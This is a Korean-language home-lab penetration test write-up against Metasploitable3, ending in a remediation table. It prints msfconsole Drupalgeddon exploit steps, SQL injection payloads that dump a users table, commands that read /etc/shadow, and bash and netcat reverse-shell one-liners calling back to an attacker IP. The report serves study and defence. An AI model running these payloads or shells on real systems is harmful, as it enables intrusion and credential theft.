
Metasploitable3 홈랩 침투 테스트 보고서로, Nmap 정찰, Drupalgeddon RCE, SQL 인젝션, SSH 자격 증명 재사용, sudo 권한 상승, 리버스 셸을 다룹니다.
작성자: Arlen Fortunato
날짜: 2026년 9월
환경: Parrot OS (공격자) → Metasploitable3 Ubuntu 14.04 (대상)
범위: 전체 네트워크 침투 테스트 — 열거, 익스플로잇, 권한 상승, 침투 후 활동
유형: 홈 랩 / CTF(Capture The Flag) 실습
⚠️ 아래의 모든 자격 증명은 가려졌습니다(redacted). 이는 합법적이고 격리된 홈 랩 실습이었습니다.
| 도구 | 역할 |
|---|---|
| Nmap | 포트 스캔, 서비스/버전 탐지, OS 핑거프린팅 |
| Metasploit (msfconsole) | 익스플로잇 (CVE-2014-3704), 세션 관리 |
| msfvenom | 페이로드 생성 (bash/netcat 리버스 셸) |
| nc (netcat) | 리버스 셸 리스너 |
| curl / sed | 수동 SQLi 제작 + HTML 출력 포매팅 |
| ssh / scp | 원격 접속, 자격 증명 검증 |
| openssl s_client | TLS/SSL 서비스 검증 |
| gobuster | 디렉터리 브루트포싱 (웹 열거) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
취약점: UnrealIRCd 3.2.8.1은 역사적으로 트로이 목마가 삽입된 바이너리와 함께 배포되었으며, 인증되지 않은 클라이언트가 등록 전에 트리거 문자열을 전송하면 임의 명령을 실행합니다 — IRC 데몬 사용자 권한으로 RCE가 가능합니다.
익스플로잇 시도: Metasploit 모듈 exploit/unix/irc/unreal_ircd_3281_backdoor와 페이로드 cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash를 사용했습니다. 모듈 자동 검사는 서비스를 취약하다고 보고했지만, 어떤 페이로드에서도 세션이 반환되지 않았습니다.
수행한 문제 해결:
nc -vz)openssl s_client)nc를 통한 수동 백도어 트리거가 IRC 프로토콜 오류 451을 반환 — 명령이 IRC 명령으로 파싱되었을 뿐, 실행되지 않음결론: 버전 배너는 취약한 빌드를 가리키지만, 이 인스턴스에서는 백도어가 존재하지 않습니다 (깨끗하거나 재컴파일된 바이너리). 증거와 함께 익스플로잇 불가 — 오탐으로 분류했습니다.
취약점: Drupal 7.32 이전의 7.x 버전에는 데이터베이스 추상화 계층에 심각한 SQL 인젝션이 존재하여 인증되지 않은 원격 코드 실행이 가능합니다.
버전 확인: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
익스플로잇:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
결과:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
침투 후 열거:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16개 사용자 계정취약점: payroll_app.php 로그인 폼의 비밀번호 필드에 SQL 인젝션이 존재합니다. 자동화 도구는 사용하지 않았습니다 — curl로 직접 제작했습니다.
1단계 — 인증 우회:
' or 1=1#
'는 SQL 문자열을 닫고, or 1=1은 참을 강제하며, #은 뒤따르는 따옴표를 주석 처리합니다.
2단계 — 컬럼 수 + 출력 매핑:
' UNION SELECT null, null, null, null# -- 오류 없음 = 4개 컬럼
' UNION SELECT 1, 2, 3, 4# -- 마커: 1=Username, 2=First, 3=Last, 4=Salary
3단계 — information_schema 열거:
| 질문 | 답변 |
|---|---|
| DB 버전 / 사용자 | MySQL 5.5.62, root@localhost |
| 데이터베이스 |
4단계 — 덤프 (비밀번호 가려짐):
' UNION SELECT username, password, salary, null FROM users#
경로 1 — 기본 계정: 기본 vagrant 자격 증명 쌍이 SSH를 통해 인증됨 → 사용자는 sudo 그룹에 속하며 (ALL : ALL) NOPASSWD: ALL 권한 보유.
경로 2 — 자격 증명 재사용: SQLi 덤프에서 수집한 자격 증명이 다른 랩 사용자(luke_skywalker, sudo 그룹, (ALL : ALL) ALL)로 SSH를 통해 직접 인증됨.
의의: 서비스 간 자격 증명 재사용을 입증 — 애플리케이션 자격 증명이 시스템 계정에 매핑됨.
vagrant → sudo -l에서 NOPASSWD: ALL 확인 → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).로컬 익스플로잇은 필요하지 않았습니다 — 두 계정 모두 지나치게 허용적인 sudo 권한을 보유하고 있었습니다.
sudo cat /etc/shadow
16개의 md5crypt ($1$) 해시를 추출했습니다 — 권한 상승 후 전체 자격 증명 수집.
페이로드 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
nc -lnvp 4444에서 수신 → 대화형 셸.
페이로드 2 — netcat (네임드 파이프):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
nc -lnvp 4445에서 수신 → 대화형 셸.
메커니즘: 네임드 파이프(FIFO)가 netcat의 stdin/stdout을 /bin/sh에 연결하여 단일 소켓 양방향 터널을 형성하며, 이후 FIFO는 정리됩니다.
모든 테스트는 의도적으로 취약한 소프트웨어(Rapid7 Metasploitable3)를 사용하는 격리된 홈 랩에서만 수행되었습니다. 어떠한 프로덕션 시스템이나 무단 대상에도 접근하지 않았습니다. 이 보고서는 교육 목적 및 개인 기술 개발용으로만 작성되었습니다.
| 포트 | 상태 | 서비스 | 버전 |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | 취약점 | CVE / 유형 | 포트 | 심각도 | 결과 |
|---|
| 1 | UnrealIRCd 버전 핑거프린트 — 백도어 탐지 | CVE-2010-2075 | 6697 | ⚠️ 오탐(False positive) | 모듈 자동 검사 통과, 수동 탐지 실패 — 해당 빌드에 백도어 없음 |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 심각(Critical) | www-data 권한의 Meterpreter 셸 |
| 3 | Payroll 앱 — UNION SQLi (수동) | 수동 인젝션 | 80 | 🔴 심각(Critical) | 전체 DB 덤프 (15명 사용자, 평문 비밀번호 — 가려짐) |
| 4 | SSH — 기본 + 재사용 자격 증명 | 기본 / 자격 증명 재사용 | 22 | 🔴 심각(Critical) | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | 권한 상승 (두 가지 경로) | 잘못 구성된 sudo | N/A | 🔴 심각(Critical) | 두 계정 모두 root 획득 |
| 6 | Shadow 덤프 | 침투 후 활동 | N/A | 🔴 심각(Critical) | 16개의 md5crypt 해시 추출 |
| 7 | 리버스 셸 (bash + netcat) | msfvenom / 수동 제작 | 4444/4445 | 🟠 높음(High) | 공격자 리스너에서 대화형 셸 확보 |
| information_schema, drupal, mysql, payroll, performance_schema |
payroll의 테이블 | users |
users의 컬럼 | username, first_name, last_name, password, salary |
| 사용자 이름 | 비밀번호 | 급여 |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9개 계정 더) | [REDACTED] | — |
| 발견 사항 | 권고 사항 |
|---|
| UnrealIRCd 버전 핑거프린트 | 바이너리 소스 무결성 검증 (체크섬); 업그레이드 또는 제거 |
| Drupal 7.5 | 최신 안정 버전으로 업그레이드; SA-CORE-2014-005 적용 |
| Payroll SQLi | 매개변수화된 쿼리 / 준비된 문(prepared statements); 입력 검증 |
| 기본 SSH 자격 증명 | 기본 계정 교체/제거; 키 기반 인증 강제 |
| Sudo 과도한 권한 | 최소 권한 적용; NOPASSWD 전면 부여 제거 |
| 자격 증명 재사용 | 서비스별 고유 비밀번호 강제; 비밀번호 정책 |
| 취약한 비밀번호 해싱 | md5crypt → bcrypt / Argon2id로 마이그레이션 |